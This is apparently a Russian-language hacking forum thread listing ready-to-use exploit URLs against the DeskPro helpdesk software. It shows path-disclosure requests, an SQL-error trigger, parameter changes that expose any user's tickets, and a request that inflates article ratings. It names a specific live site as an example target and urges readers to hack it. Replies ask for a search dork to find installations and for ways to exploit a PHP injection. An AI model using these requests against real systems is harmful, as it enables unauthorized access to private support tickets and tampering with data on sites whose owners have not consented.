[ Обзор уязвимостей DeskPro ]

Открытие локального пути

Code:

https://site.com/email/backup.php

Code:

https://site.com/email/checks.php

SQL Error & Открытие локального пути

Code:

https://site.com/feeds/rss_tickets.php?user=8&type=[B]replyg[/B]

Просмотр петиций любого пользователя

Code:

https://site.com/feeds/rss_tickets.php?user=22&type=[B]replyu[/B]

Увеличение рейтинга любой статьи на N

Code:

https://site.com/kb_rate.php?ref=TICKET_NUMBER&howhelpful=9999999

Пример: support.4game.ru, хекайте

 

Дорк еще не помешал бы, для поиска этого двига.

 

deskpro.com
google.com -> q -> deskpro

 

UP. Тема актуальна.. кто нибудь нашел как можно использовать php-inj в DeskPRO/includes/3rdparty/html2text/html2text.php ?